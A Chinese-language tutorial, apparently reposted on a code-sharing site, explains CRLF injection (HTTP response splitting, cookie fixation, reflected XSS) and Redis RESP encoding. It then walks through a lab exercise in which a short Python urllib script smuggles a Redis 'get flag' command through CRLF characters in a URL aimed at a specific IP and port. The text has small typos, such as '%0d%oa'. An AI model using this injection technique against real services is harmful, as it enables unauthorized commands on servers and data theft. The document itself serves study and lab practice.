Python必备技能之CRLF注入


CRLF注入原理

在HTTP当中HTTP的Header和Body之间就是用两个crlf进行分隔的,如果能控制HTTP消息头中的字符,注入一些恶意的换行,这样就能注入一些会话cookie和html代码,所以CRLF injection 又叫做 HTTP response Splitting,简称HRS。CRLF漏洞可以造成Cookie会话固定和反射型XSS(可过waf)的危害,注入XSS的利用方式:连续使用两次%0d%oa就会造成header和body之间的分离,就可以在其中插入xss代码形成反射型xss漏洞。

 

Redis字符串的表示方式

大容量字符串按以下方式编码:

                       1、一个以“$”字节开始,后面是组成字符串的字节数(前缀长度),由CRLF终止。

                        2、实际的字符串数据。

                       3、最终的CRLF。

                    所以字符串“foobar”被编码如下:

               "$6\r\nfoobar\r\n"

                   当一个空字符串只是:

             "$0\r\n\r\n"

                 还可以使用RESP Bulk Strings 的特殊格式来表示空值。在这种特殊的格式中,长度是-1,并且没有数据,所以空值表示为:

              "$-1\r\n"

靶场训练:对redis 114.55.65.251.46379进行CRLF注入

根据上面的原理直接构造playload

# -*- coding:utf -8 -*-
"""
@Author:Forchan
@File:urllib_test.py
@Time:2021/02/23

"""
import urllib.request


host = '114.55.65.251:46379?\r\n*2\r\n$3\r\nget\r\n$4\r\nflag\r\n'

url= f'http://{host}/'

resp = urllib.request.urlopen(url)

print(resp.read())


点击file页面观察是否存在“Http/”有斜杠“/”说明通过

观察得到version通过readline读出的

打断点

重新debug

点击Evaluate

 

 

成功读取到flag

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM